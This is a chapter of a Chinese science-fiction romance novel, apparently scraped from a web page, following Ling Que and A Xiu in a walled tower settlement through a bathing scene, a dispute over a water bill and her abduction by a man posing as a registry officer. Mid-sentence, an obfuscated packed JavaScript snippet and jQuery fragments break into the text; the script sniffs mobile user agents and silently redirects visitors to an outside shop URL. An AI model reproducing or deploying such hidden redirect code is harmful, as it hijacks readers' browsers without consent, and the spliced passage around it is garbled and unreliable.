【二】
目光尽头处,只有一个穿着和阿修相同制服的女人在低头吃饭,吃完最后一口小麦饼,她拿起盘子离开。
从始至终,都没有往这边看一眼。
凌雀收回目光,将盘子新放的小麦饼塞进嘴里,含糊不清道:“我们回去吧。”
*
乘坐摆渡车到达居住区是在晚上十点二十分。
到家后,阿修拿了毛巾给她,示意她去洗澡,自己躺在沙发上双手抱臂闭目养神。
十点四十五分,凌雀裹着浴巾从浴室出来,氤氲的热气从脸边扫过,阿修没睁开眼。
凌雀问:”没热水了,你怎么不说。“
高塔十点五十断供热水。
她又道:“你怎么办?”
阿修起身,目光避开凌雀,径直走向浴室。
冷水从头顶汹涌而来,又顺着睫毛、耳下、肩侧蜿蜒流下,伤口凝固的地方感受到水,开始泛白,一些纤维肉条也被水冲开,血色慢慢地渗透出来。
但他仍旧不太在意,抬高手臂去洗头,肩头至腰间的肌肉因为这个动作被拉伸出好看的线条,浴室简陋,没有门,只有一道防水的帘子,此刻他的影子落在帘子上。
凌雀站在门口,大约待了十五分钟才转身走到衣柜前。
他从里面找出了阿修一件衣服裹在身上。
十一点十五分,阿修从浴室里出来,他的浴巾只裹住下半身,大概是常年从事重体力劳动,腹部上的肌肉极为匀称,他低垂着眼,手里拿着一条干燥的毛巾正在擦头发。
滴滴答答的水珠正从耳后滑落,而肩头的伤口似乎炸开了。
凌雀找到了医疗箱,箱子应该是社区统一发放,印着云雀的标志。
药粉很廉价,但有消炎功效。
她又拿了新的干净纱布,准备给他重新包扎。
她让阿修坐到床边,指腹从结痂泛白的伤口处极其轻柔地抚摸过,阿修的身体有一瞬间震颤,但是凌雀没在意,她的目光始终极尽贪婪地望着那些纤维肉条,那些肉条像是精密的仪器,总能找到能咬合的另外一半,这是极高的自愈能力,可惜没有观测仪器来记录,不然一定能发现一点什么。
忽然间,凌雀的气息从耳侧扫过。
阿修侧目,是凌雀俯下身,伸长手臂,从他前面的小桌子上拿过药粉。
“忍着。”
这话像是废话。
在细密的白色药粉落在伤口后,阿修一点难受的表情都没有,但凌雀还是尽可能轻柔地缠绕上纱布。
很快,血色就从干净的纱布上渗透出来,是浅而粉的颜色,凌雀心里明白,药粉只是借着观察的借口,他根本不需要这些东西,到了明天,皮肉会像是从没受过伤一样痊愈好,但她仍旧假装什么事都没发生,说:“好了,以后要小心点。”
阿修抬头看她,看到她身上穿着颜色沉闷的旧衣服,领口的布料都有些卷曲,他想起那天月下,她身上那件银白色的丝绸长裙,被风卷起的裙角像是翻卷的海浪。
凌雀察觉到他看向自己的目光,问:“怎么了?”
他伸手,将她袖口的一根线条扯掉,说:“睡觉吧。”
*
凌雀第二天是被一阵敲门声吵醒的。
打开门,门口站着一个女人,身上穿着高塔花园的工作制服,凌雀对她有印象,昨天坐在身后吃小麦饼的女人。她说她是阿修的邻居,然后将一张水费单塞进她手里。
她问:“我要去缴纳水费,你要一起吗?”
凌雀说:“不去。”
凌雀收起水费单,要关门,她的手却抢先搭在了门框上。
凌雀怕压到她的手指,只能停住动作。
“一起吧。”她强调了一遍,“之前都是这个时间,阿修会和我一起交水费。”
凌雀:“我没有钱。”
她惊讶了两秒,咬牙说:“我借给你。”
就这样,凌雀跟着她下了楼,她身上还穿着阿修的旧衣服,有几个也去交水费的邻居认出这件衣服,知道她是谁。
他们凑过来聊天,都在聊阿修,有人告诉她阿修是个哑巴,也有人说,阿修是个热心肠的人,还有人说,阿修是高塔长得很好看的男人。
“为什么要这么说,因为高塔的男人一般长得都不好看。”
说完,一个戴着眼镜的男人说:“就像你一样。”
凌雀在他们嘈杂的声音中打开手中的水费单,阿修一个月用的水费并不多,他时常不在家,有个褐卷发的邻居刚才说过,他在温室花园负责看守三号异变植物。
那是花园里最凶猛的植物样本,来历很不同,上级的科研人员都很重视,所以他经常加班。
有个脸上都是皱纹的女人满是同情地看了凌雀一眼,觉得她刚结婚就要遭受分离。
凌雀在他们各有所思的话语里,非常绝望的对周围的五个人说:“你们每个人借我二十块钱,我们还欠了两个月的水费。”
“……”
那个脸上满是皱眉的女人最先离开,紧接着是个戴眼镜的中年男人,然后那个褐色卷发的邻居也走了,只有小麦饼女人留下来。
她有一双狭长的眼睛和收窄的锋利下颌,是个很漂亮大气的长相。
这么漂亮,一定很善良。
凌雀对着她伸出手:“借我一百块。”
她:“……”
一百块算是一笔巨款。
凌雀说:“你不是说借我钱吗?我要一百。”
她:“……”
她也走了。
凌雀抬起头,毒辣的日光照下来,她觉得高塔的人不太友好,除了阿修。
然后她也决定先回去。
*
昨天可以去花园找工作的阿修,但今天不行,不能天天过去,不然别人会看不起她的。她将水费单折叠好压在了桌子上的罐头盒子下。
之后他打开那只从云端基地带下来的铁皮盒。
盒子里放着父亲的手稿。
她将手稿铺在了桌上,正要查看什么,忽然间,敲门声又响起。
她走到门前,隔着门说:“我今天不交水费,也不交电费,更……不交别的。”
门外的人几次想要插嘴,都没能成功。
短暂沉默,在确定凌雀不会在他开口时再开口后,他终于才说:“我是守卫队户籍科的,你被人举报户籍有问题,现在跟我走一趟。”
凌雀:“?”
塔利亚的身份的确是假的,她也不知道阿修从哪里弄来的,更不知道塔利亚和阿修什么时候结婚,所以不能去。
她要拒绝:“我……”
门锁却发出异响。
高塔宿舍的门板很薄,门上嵌入的锁头也很老旧,凌雀下一个音节还没发出,门就已经被外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633144|206473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头的人暴力推开。
凌雀的第一反应是,来人并不像是公职人员。
在凌雀的印象里,守卫队户籍科的人应该文质彬彬,但这个站在门口的人不是,他颧骨高耸,身躯健壮,最奇怪的是他的右眼——深陷的眼窝里,安装着一只人工眼球。
此刻因为打量她,那只眼球正发出“咔哒咔哒”的声音。
不好,她往后走,却摔了一跤,头磕在了桌角,剧烈的疼痛袭来。然后她听到了笑声,是嘲笑声,那个男人在笑话她。
“小姑娘,多吃点饭吧。”
再之后,他掏出□□,凌雀只是被轻轻电了一下,就陷入昏迷。
*
阿修今日比平常离开温室花园要早一些,他特意找了换班人员,给了对方三十块钱,对方很开心地收下,并表示妻子怀孕,是应该早些回家。
“这一周,我都帮你。我太太怀孕的时候每天都想我。”
阿修点点头,之后乘坐摆渡到达东区。
他并未直接回去。
东区的商业区依托着一片废墟残骸,挑高的电线挂在密集破败的高楼中,时不时会发出“刺啦”的声音,如果抬头看,大概率能看到一些闪动的火花。
阿修踩过地上的污水,来到了一家挂着铁质牌子的店铺下。
推开门,老店主苍老的声音立即从一扇木质屏风后不耐烦地传出来:“今日闭店。”
阿修:“是我。”
然后,像是奇迹一样,老人立刻精神矍铄目光灼亮地走出来:“是你啊。大驾光临。”
然后说:“我听说了,你结婚了,恭喜你。”
阿修“嗯”了声:“我也听说了,有人污水管道里发现异变残肢,说你卖的罐头都是那些残肢做的,那些管理者不让你开店了。”
怎么哪壶不开提哪壶。
老人讪讪地望着他:“我能处理。”
“我只是暂时闭店修整,暂时而已,而且不亏,就是清闲了我才能想到这个绝妙的商业计划。”
“说来听听。”
老人道:“我要养鸡,去底层废弃温室养鸡,搞产品一条线。”
地表总有一天会重建秩序,到时候他就会发财,成为高塔里最有钱的人。
阿修静静地听着,然后那张脸上,罕见地泛起一丝极淡的笑意。
老人不可置信:“什么意思?”
阿修在桌面上描摹了一个纤细轮廓:“找你,还有一件事,帮我做套衣服。”
老头顺着他的目光看过去,愣了一下:“云端来的?”
荆棘高塔的女人因为长期重体力劳动,骨骼大都粗壮而畸形。只有那种在万米之上的恒温基地里的人,才会有这样脆弱的弧度。
“嗯。”阿修应道。
*
穹顶夜幕低垂。阿修带着从阿泰那里取来的东西回到家里,还带了一只蜜薯。
但是,家中的床单整齐地铺在床上,冷硬的空气在四周蔓延,并没有人在,
阿修的心脏轻微滞涩了一瞬。
“轰——”
冷风在这一刻从窗外狂暴地灌了进来,闪电紧随而至,高塔今晚又要迎来一场暴雨。
桌上的铁皮盒被风掀翻在地,一片片碎纸被风掀飞。
阿修在翻飞的纸页间,注意到沾在桌角的一道不一样的痕迹。
冷冽的余光照在他的侧脸。